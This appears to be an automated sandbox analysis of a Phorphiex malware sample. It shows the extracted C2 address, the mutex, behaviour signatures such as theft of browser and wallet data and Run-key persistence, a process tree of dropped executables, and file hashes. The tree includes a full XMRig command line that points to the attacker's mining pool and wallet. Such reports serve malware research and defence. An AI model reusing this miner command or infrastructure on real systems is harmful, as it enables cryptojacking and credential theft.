Analysis

  • max time kernel
    150s
  • max time network
    155s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    09/03/2026, 09:40

General

  • Target
    file.exe
  • Size 11KB
  • Sample260309-lnbaaads2q
  • SHA256 24c134595a2e38206674b3e4be0f57e00a29477c51103785dc18e937eebb6e57
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • phorphiex

C2
  • 178.16.54.109

Attributes
  • mutex

    TWIZTPEINF

Signatures

  • Phorphiex family
  • Phorphiex, Phorpiex

    Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • XMRig Miner payload 2 IoCs
  • Xmrig family
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Downloads MZ/PE file 4 IoCs
  • Executes dropped EXE 11 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Adds Run key to start application 2 TTPs 2 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in Windows directory 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 12 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Downloads MZ/PE file
    • System Location Discovery: System Language Discovery
    • Suspicious use of WriteProcessMemory
    PID:3160
    • C:\Users\Admin\AppData\Local\Temp\2554333595.exe
      C:\Users\Admin\AppData\Local\Temp\2554333595.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4312
      • C:\Users\Admin\AppData\Local\Temp\2672717347.exe
        C:\Users\Admin\AppData\Local\Temp\2672717347.exe
        3⤵
        • Executes dropped EXE
        • Adds Run key to start application
        • Drops file in Windows directory
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2176
        • C:\Windows\sysdvrnshost.exe
          C:\Windows\sysdvrnshost.exe
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2468
          • C:\Users\Admin\AppData\Local\Temp\2052115808.exe
            C:\Users\Admin\AppData\Local\Temp\2052115808.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:6088
          • C:\Users\Admin\AppData\Local\Temp\1722214418.exe
            C:\Users\Admin\AppData\Local\Temp\1722214418.exe
            5⤵
            • Downloads MZ/PE file
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            • Suspicious use of WriteProcessMemory
            PID:2348
            • C:\Users\Admin\AppData\Local\Temp\2538031664.exe
              C:\Users\Admin\AppData\Local\Temp\2538031664.exe
              6⤵
              • Downloads MZ/PE file
              • Executes dropped EXE
              • Adds Run key to start application
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:6048
              • C:\Users\Admin\sysmgnrsv.exe
                C:\Users\Admin\sysmgnrsv.exe
                7⤵
                • Executes dropped EXE
                PID:1068
              • C:\Users\Admin\sysfrodolv.exe
                C:\Users\Admin\sysfrodolv.exe
                7⤵
                • Executes dropped EXE
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:2324
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x -t 1
                  8⤵
                  • System Location Discovery: System Language Discovery
                  • Suspicious use of WriteProcessMemory
                  PID:5704
                  • C:\Users\Admin\sysmgnrsv.exe
                    C:\Users\Admin\sysmgnrsv.exe -o 178.16.54.109:6060 -u 83h9mBvy1LL2qW6c2HeWczYVJQsFDF7RfVqDnaiSfFBdDcxfyJfWhRnZqZkY5chb5b6tmKZ1PPhuQbNgXggCdwTrMYWN8hi -p x -t 1
                    9⤵
                    • Executes dropped EXE
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of FindShellTrayWindow
                    PID:2252
          • C:\Users\Admin\AppData\Local\Temp\3835030379.exe
            C:\Users\Admin\AppData\Local\Temp\3835030379.exe
            5⤵
            • Executes dropped EXE
            • System Location Discovery: System Language Discovery
            PID:1720
      • C:\Users\Admin\AppData\Local\Temp\2041429132.exe
        C:\Users\Admin\AppData\Local\Temp\2041429132.exe
        3⤵
        • Executes dropped EXE
        PID:3052

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        1722214418.exe

        • Path C:\Users\Admin\AppData\Local\Temp\1722214418.exe
        • Size 9KB
        • SHA256 fbc9ebc86b7dad668f43b64368888652ebe610eae488e40c56b4033d3e62b6f6
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2041429132.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2041429132.exe
        • Size 1.7MB
        • SHA256 683e24e5ccf6d051ec121496b60703e25b45f59d78cac3be0928d2d4f8a38c98
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2052115808.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2052115808.exe
        • Size 22KB
        • SHA256 62912d57d1863bfc672fb26ed3954b937ea83661ab8ae7ac4db4131ea8347000
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2538031664.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2538031664.exe
        • Size 12KB
        • SHA256 7c9beb95e8446810183545d5ed57c3eb3b183af570fa5081f039c6101d244e58
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2554333595.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2554333595.exe
        • Size 9KB
        • SHA256 d98ed47b52155dc6a158f960dc2184153d84e8886d9a8fef439c73f6353138f8
        • MD5 SHA1 SHA512 SSDEEP TLSH

        2672717347.exe

        • Path C:\Users\Admin\AppData\Local\Temp\2672717347.exe
        • Size 91KB
        • SHA256 98e5fdce85ab8e17472f95eecb4c22f08a28933828e0afd0b5db831fe222e373
        • MD5 SHA1 SHA512 SSDEEP TLSH

        3835030379.exe

        • Path C:\Users\Admin\AppData\Local\Temp\3835030379.exe
        • Size 18KB
        • SHA256 d2b94db6cb08e2b659d81e7746d669d09e70ae5d3bd675a011eced94ad66a7e0
        • MD5 SHA1 SHA512 SSDEEP TLSH

        sysmgnrsv.exe

        • Path C:\Users\Admin\sysmgnrsv.exe
        • Size 6.2MB
        • SHA256 001816f728d96a823a88e8243cba32486ff0207c123628fa767073bb4a49cd6e
        • MD5 SHA1 SHA512 SSDEEP TLSH

        memory/1068-54-0x0000020846AA0000-0x0000020846AC0000-memory.dmp

        memory/1720-73-0x0000000001000000-0x0000000001112000-memory.dmp

        memory/1720-82-0x0000000001000000-0x0000000001112000-memory.dmp

        memory/2176-20-0x0000000000970000-0x0000000000A82000-memory.dmp

        memory/2324-78-0x00000000015C0000-0x00000000016D2000-memory.dmp

        memory/2324-75-0x00000000015C0000-0x00000000016D2000-memory.dmp

        memory/2348-47-0x0000000001590000-0x00000000015F4000-memory.dmp

        memory/2468-32-0x00000000009A0000-0x0000000000AB2000-memory.dmp

        memory/2468-76-0x00000000009A0000-0x0000000000AB2000-memory.dmp

        memory/3160-0-0x0000000001360000-0x0000000001472000-memory.dmp

        memory/3160-7-0x0000000001360000-0x0000000001472000-memory.dmp

        memory/4312-24-0x0000000000D30000-0x0000000000D94000-memory.dmp

        memory/6048-61-0x0000000001010000-0x0000000001122000-memory.dmp

        memory/6048-70-0x0000000001010000-0x0000000001122000-memory.dmp

        memory/6088-40-0x00000000010B0000-0x00000000011C2000-memory.dmp

        memory/6088-77-0x00000000010B0000-0x00000000011C2000-memory.dmp